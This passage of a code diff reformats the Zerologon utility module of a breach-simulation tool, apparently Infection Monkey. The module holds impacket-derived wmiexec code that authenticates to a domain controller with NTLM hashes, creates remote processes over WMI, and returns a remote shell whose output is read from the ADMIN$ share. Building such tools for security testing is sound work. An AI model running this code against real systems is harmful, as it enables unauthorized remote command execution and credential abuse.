self.__outputBuffer.strip('\r\n') - self.prompt = (self.__pwd + '>') - self.__outputBuffer = '' + self.execute_remote("cd ") + self.__pwd = self.__outputBuffer.strip("\r\n") + self.prompt = self.__pwd + ">" + self.__outputBuffer = "" def default(self, line): # Let's try to guess if the user is trying to change drive. - if len(line) == 2 and line[1] == ':': + if len(line) == 2 and line[1] == ":": # Execute the command and see if the drive is valid. self.execute_remote(line) - if len(self.__outputBuffer.strip('\r\n')) > 0: + if len(self.__outputBuffer.strip("\r\n")) > 0: # Something went wrong. print(self.__outputBuffer) - self.__outputBuffer = '' + self.__outputBuffer = "" else: # Drive valid, now we should get the current path. self.__pwd = line - self.execute_remote('cd ') - self.__pwd = self.__outputBuffer.strip('\r\n') - self.prompt = (self.__pwd + '>') - self.__outputBuffer = '' + self.execute_remote("cd ") + self.__pwd = self.__outputBuffer.strip("\r\n") + self.prompt = self.__pwd + ">" + self.__outputBuffer = "" else: - if line != '': + if line != "": self.send_data(line) def get_output(self): @@ -133,28 +135,30 @@ class RemoteShell(cmd.Cmd): try: self.__outputBuffer += data.decode(self.CODEC) except UnicodeDecodeError: - LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' - 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py ' - 'again with -codec and the corresponding codec') - self.__outputBuffer += data.decode(self.CODEC, - errors='replace') + LOG.error( + "Decoding error detected, consider running chcp.com at the target,\nmap the result with " + "https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py " + "again with -codec and the corresponding codec" + ) + self.__outputBuffer += data.decode(self.CODEC, errors="replace") if self.__noOutput is True: - self.__outputBuffer = '' + self.__outputBuffer = "" return while True: try: self.__transferClient.getFile( - self.__share, self.__output, output_callback) + self.__share, self.__output, output_callback + ) break except Exception as e: - if str(e).find('STATUS_SHARING_VIOLATION') >= 0: + if str(e).find("STATUS_SHARING_VIOLATION") >= 0: # Output not finished, let's wait. time.sleep(1) - elif str(e).find('Broken') >= 0: + elif str(e).find("Broken") >= 0: # The SMB Connection might have timed out, let's try reconnecting. - LOG.debug('Connection broken, trying to recreate it') + LOG.debug("Connection broken, trying to recreate it") self.__transferClient.reconnect() return self.get_output() self.__transferClient.deleteFile(self.__share, self.__output) @@ -162,11 +166,13 @@ class RemoteShell(cmd.Cmd): def execute_remote(self, data): command = self.__shell + data if self.__noOutput is False: - command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' + command += ( + " 1> " + "\\\\127.0.0.1\\%s" % self.__share + self.__output + " 2>&1" + ) self.__win32Process.Create(command, self.__pwd, None) self.get_output() def send_data(self, data): self.execute_remote(data) print(self.__outputBuffer) - self.__outputBuffer = '' + self.__outputBuffer = "" diff --git a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py index 4c9fbef38..1beaafddd 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py @@ -59,39 +59,45 @@ LOG = logging.getLogger(__name__) # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py # Used to get HKLM keys for restoring original DC password class Wmiexec: - OUTPUT_FILENAME = '__' + str(time.time()) + OUTPUT_FILENAME = "__" + str(time.time()) - def __init__(self, ip, username, hashes, password='', domain='', share='ADMIN$'): + def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$"): self.__ip = ip self.__username = username self.__password = password self.__domain = domain - self.__lmhash, self.__nthash = hashes.split(':') + self.__lmhash, self.__nthash = hashes.split(":") self.__share = share self.shell = None def connect(self): self.smbConnection = SMBConnection(self.__ip, self.__ip) - self.smbConnection.login(user=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash) + self.smbConnection.login( + user=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash, + ) - self.dcom = DCOMConnection(target=self.__ip, - username=self.__username, - password=self.__password, - domain=self.__domain, - lmhash=self.__lmhash, - nthash=self.__nthash, - oxidResolver=True) + self.dcom = DCOMConnection( + target=self.__ip, + username=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash, + oxidResolver=True, + ) try: iInterface = self.dcom.CoCreateInstanceEx( - wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) + wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login + ) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) self.iWbemServices = iWbemLevel1Login.NTLMLogin( - '//./root/cimv2', NULL, NULL) + "//./root/cimv2", NULL, NULL + ) iWbemLevel1Login.RemRelease() except (Exception, KeyboardInterrupt) as e: @@ -101,9 +107,10 @@ class Wmiexec: def get_remote_shell(self): self.connect() - win32Process, _ = self.iWbemServices.GetObject('Win32_Process') + win32Process, _ = self.iWbemServices.GetObject("Win32_Process") self.shell = RemoteShell( - self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME) + self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME + ) return self.shell def close(self):